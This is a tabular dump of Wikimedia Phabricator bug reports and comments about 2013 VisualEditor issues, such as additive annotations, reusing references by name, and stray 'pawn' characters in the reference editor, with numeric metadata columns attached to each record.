https://gerrit.wikimedia.org/r/71716",,,1372797972,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-fox5cuz5lkwl5eb3gxrd,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,"Change 71716 merged by jenkins-bot:
Allow annotations to be additive

GERRIT_URL"
248440,"VisualEditor: Nested identical annotations can be additive, not just identical","The fix sets big/small/sup/sub to be additive.

Arguably we should make all annotations additive, as you could add 'style=""font-size:110%""' to anything, although I haven't thought through how this might affect the toolbar interactions yet.",,,1372797053,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-fox5cuz5lkwl5eb3gxrd,task_subcomment,,True,c1,3,True,,,0,,2.0,2.0,0.0,0.0,2.0,8.0,2.0,0.0,2.0,0.0,2.0,6.0,0.0,0.0,0.0,4.0,0.0,8.0,10.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,12.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,6.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,6.0,10.0,2.0,0.0,6.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.980769230769231,0.8653846153846154,"The fix sets big/small/sup/sub to be additive.

Arguably we should make all annotations additive, as you could add 'style=""font-size:110%""' to anything, although I haven't thought through how this might affect the toolbar interactions yet."
248433,"VisualEditor: Nested identical annotations can be additive, not just identical","Change 71716 had a related patch set uploaded by Esanders:
Allow annotations to be additive

https://gerrit.wikimedia.org/r/71716",,,1372796724,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-fox5cuz5lkwl5eb3gxrd,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,21.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.7368421052631575,1.0,"Change 71716 had a related patch set uploaded by Esanders:
Allow annotations to be additive

GERRIT_URL"
248428,"VisualEditor: Nested identical annotations can be additive, not just identical",This causes round-trip failures.,,,1372723619,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-fox5cuz5lkwl5eb3gxrd,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.142857142857143,1.0,This causes round-trip failures.
248425,"VisualEditor: Nested identical annotations can be additive, not just identical",%%%*** Bug 49756 has been marked as a duplicate of this bug. ***%%%,,,1371574644,,PHID-USER-j5ma2nageni56xp567v5,True,,,PHID-TASK-fox5cuz5lkwl5eb3gxrd,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,25.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.2916666666666665,0.5833333333333334,%%%*** Bug 49756 has been marked as a duplicate of this bug. ***%%%
51733,VisualEditor: Support creation/editing of references using an existing ref-name,"The reference editor allows me to group references, and allows me to include a ref name parameter to make them reusable, but has no way of actually calling that ref name.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1371535560,1372382660.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-2hbzqzof3t5thiyrb3yz,task_description,resolved,True,c1,2,False,False,True,-2,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,8.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,6.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,6.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,2.0,6.0,2.0,0.0,0.0,0.0,4.076923076923077,0.6923076923076923,"The reference editor allows me to group references, and allows me to include a ref name parameter to make them reusable, but has no way of actually calling that ref name.

--------------------------
**Version**: unspecified
**Severity**: normal"
247319,VisualEditor: Support creation/editing of references using an existing ref-name,"This feature is now written and merged, and will be going out in a few minutes.",,,1372382660,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2hbzqzof3t5thiyrb3yz,task_subcomment,,True,c1,2,True,,,-1,,6.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,6.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,3.5555555555555554,0.9444444444444444,"This feature is now written and merged, and will be going out in a few minutes."
247313,VisualEditor: Support creation/editing of references using an existing ref-name,"Change 70364 merged by jenkins-bot:
Reference insertion, new and existing

https://gerrit.wikimedia.org/r/70364",,,1372382035,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2hbzqzof3t5thiyrb3yz,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.529411764705882,1.0,"Change 70364 merged by jenkins-bot:
Reference insertion, new and existing

GERRIT_URL"
247307,VisualEditor: Support creation/editing of references using an existing ref-name,"... this is already what's meant to happen with master; it seems that it's broken a little in this regard, so we'll need to fix.",,,1371573652,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2hbzqzof3t5thiyrb3yz,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,19.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,13.0,3.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,6.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,19.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.3548387096774195,0.8709677419354839,"... this is already what's meant to happen with master; it seems that it's broken a little in this regard, so we'll need to fix."
247297,VisualEditor: Support creation/editing of references using an existing ref-name,"Proposing for July 4 milestone (alt. July 11). This is imho not a nice-to-have but a requirement since re-using of references is quite common and without it, it would seem incomplete.

The ability to create such references or turn existing ones into it may be less important than the ability to edit such references (e.g. a <select> with all ref-names available on this page).",,,1371540715,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-2hbzqzof3t5thiyrb3yz,task_subcomment,,True,c1,2,True,,,-2,,1.0,0.0,0.0,0.0,1.0,11.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,2.0,0.0,4.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,11.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,6.0,1.0,4.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,4.0,14.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,5.0,1.0,0.0,2.0,3.738095238095238,0.7619047619047619,"Proposing for July 4 milestone (alt. July 11). This is imho not a nice-to-have but a requirement since re-using of references is quite common and without it, it would seem incomplete.

The ability to create such references or turn existing ones into it may be less important than the ability to edit such references (e.g. a <select> with all ref-names available on this page)."
51732,"VisualEditor: Reference editor adds pawn on Ctrl+I, Ctrl+B","Screenshot

See associated character; italics in the reference editing interface causes a pawn to appear.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11627}",High,80.0,1371533160,1371680618.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-v4v3wychksw2n5sabckt,task_description,resolved,True,c1,2,False,False,True,-2,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,13.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.065217391304348,0.6521739130434783,"Screenshot

See associated character; italics in the reference editing interface causes a pawn to appear.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11627}"
247243,"VisualEditor: Reference editor adds pawn on Ctrl+I, Ctrl+B",*** Bug 49877 has been marked as a duplicate of this bug. ***,,,1371774369,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-v4v3wychksw2n5sabckt,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 49877 has been marked as a duplicate of this bug. ***
247239,"VisualEditor: Reference editor adds pawn on Ctrl+I, Ctrl+B",*** Bug 49888 has been marked as a duplicate of this bug. ***,,,1371773590,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-v4v3wychksw2n5sabckt,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 49888 has been marked as a duplicate of this bug. ***
247236,"VisualEditor: Reference editor adds pawn on Ctrl+I, Ctrl+B",Fixed in gerrit 69503 which we will deploy this afternoon.,,,1371680618,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-v4v3wychksw2n5sabckt,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,4.454545454545454,1.0,Fixed in gerrit 69503 which we will deploy this afternoon.
247231,"VisualEditor: Reference editor adds pawn on Ctrl+I, Ctrl+B","Actually, neither the console nor firebug show any errors.

It is an italicised or bolded pawn, however, so we can confirm that works.",,,1371634405,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-v4v3wychksw2n5sabckt,task_subcomment,,True,c1,2,False,,,-2,,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,3.0,7.0,3.0,10.0,14.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.896551724137931,0.896551724137931,"Actually, neither the console nor firebug show any errors.

It is an italicised or bolded pawn, however, so we can confirm that works."
247226,"VisualEditor: Reference editor adds pawn on Ctrl+I, Ctrl+B","Please check your browser's JS console, there should be an error message that appears there at the same time that the pawns appear in the editor.",,,1371602813,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-v4v3wychksw2n5sabckt,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,14.0,3.0,7.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,3.0,7.0,3.0,0.0,0.0,0.0,3.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,4.137931034482759,0.8620689655172413,"Please check your browser's JS console, there should be an error message that appears there at the same time that the pawns appear in the editor."
247222,"VisualEditor: Reference editor adds pawn on Ctrl+I, Ctrl+B",Also adding a pawn on bolding.,,,1371534835,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-v4v3wychksw2n5sabckt,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,3.5714285714285716,1.0,Also adding a pawn on bolding.
51731,VisualEditor: Template inspector removing characters from header,"See associated screenshot; an attempt to add 'foo' to the infobox on https://www.mediawiki.org/wiki/VisualEditor:Template_test

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1371532980,1371657198.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-ukps7g4li7inap7lxq46,task_description,resolved,True,c1,2,False,False,True,-2,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.8823529411764706,0.6764705882352942,"See associated screenshot; an attempt to add 'foo' to the infobox on URL

--------------------------
**Version**: unspecified
**Severity**: normal"
247180,VisualEditor: Template inspector removing characters from header,This is an artefact of a Parsoid serialisation bug that has now been fixed.,,,1371657198,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ukps7g4li7inap7lxq46,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,7.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,13.0,13.0,13.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,4.133333333333334,1.0,This is an artefact of a Parsoid serialisation bug that has now been fixed.
247175,VisualEditor: Template inspector removing characters from header,"Screenshot

**Attached**: {F11626}",,,1371533000,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-ukps7g4li7inap7lxq46,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.7272727272727273,"Screenshot

**Attached**: {F11626}"
51715,VisualEditor: Prevent headings in reference sub-editor dialogs,"**Author:** `rachelqa99`

**Description:**
Make a reference, then type text into Name content, and change format to Heading 5 or Heading 3.  When you save the file, you see the wikitext displayed for the heading format. 

See page: https://www.mediawiki.org/wiki/User:Rachel99/testing_edit_source

On the bottom of the page, it looks like that.

    ↑ ===test===
    ↑ =====Book reference=====
    ↑ ===footnote text===
    ↑ =====test5=====

--------------------------
**Version**: unspecified
**Severity**: major",High,80.0,1371500340,1371845722.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-563eb2ikcrhdth26zmqs,task_description,resolved,True,c1,2,False,False,True,-2,,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,4.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,27.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.0,8.0,0.5,1.0,4.0,0.0,0.0,0.0,0.0,2.5,0.0,1.0,0.0,2.0,4.5,3.5,0.0,0.0,0.0,2.0,0.0,0.5,0.5,0.0,0.5,0.0,0.0,0.0,3.3588544710695496,0.6059322033898304,"**Author:** CODE

**Description:**
Make a reference, then type text into Name content, and change format to Heading 5 or Heading 3.  When you save the file, you see the wikitext displayed for the heading format. 

See page: URL

On the bottom of the page, it looks like that.

    ↑ ===test===
    ↑ =====Book reference=====
    ↑ ===footnote text===
    ↑ =====test5=====

--------------------------
**Version**: unspecified
**Severity**: major"
245955,VisualEditor: Prevent headings in reference sub-editor dialogs,Merged and will be deployed very soon.,,,1371845722,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-563eb2ikcrhdth26zmqs,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Merged and will be deployed very soon.
245947,VisualEditor: Prevent headings in reference sub-editor dialogs,Related URL: https://gerrit.wikimedia.org/r/69867 (Gerrit Change Ic823a90398dafca1caf8fa4142d98133ab661d7c),,,1371828262,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-563eb2ikcrhdth26zmqs,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change Ic823a90398dafca1caf8fa4142d98133ab661d7c)
245944,VisualEditor: Prevent headings in reference sub-editor dialogs,"Yes, this is a definite issue - there's a wider bug about the technical functionality, bug 49657, but this is a specific example we need to do (and so soon).",,,1371506764,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-563eb2ikcrhdth26zmqs,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,5.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,3.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,0.0,0.0,3.0,0.0,0.0,3.4594594594594597,0.8108108108108109,"Yes, this is a definite issue - there's a wider bug about the technical functionality, bug 49657, but this is a specific example we need to do (and so soon)."
51703,VisualEditor link to Parsoid broken in beta labs deployment?,"on beta labs only, not seen in mediawiki.org: 

On any article e.g. http://en.wikipedia.beta.wmflabs.org/wiki/0.0924627428112147 

Click Edit to invoke VE

Page content is a different article.  In the case of http://en.wikipedia.beta.wmflabs.org/wiki/0.0924627428112147 I see the content for an article on ""TAT-1""

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
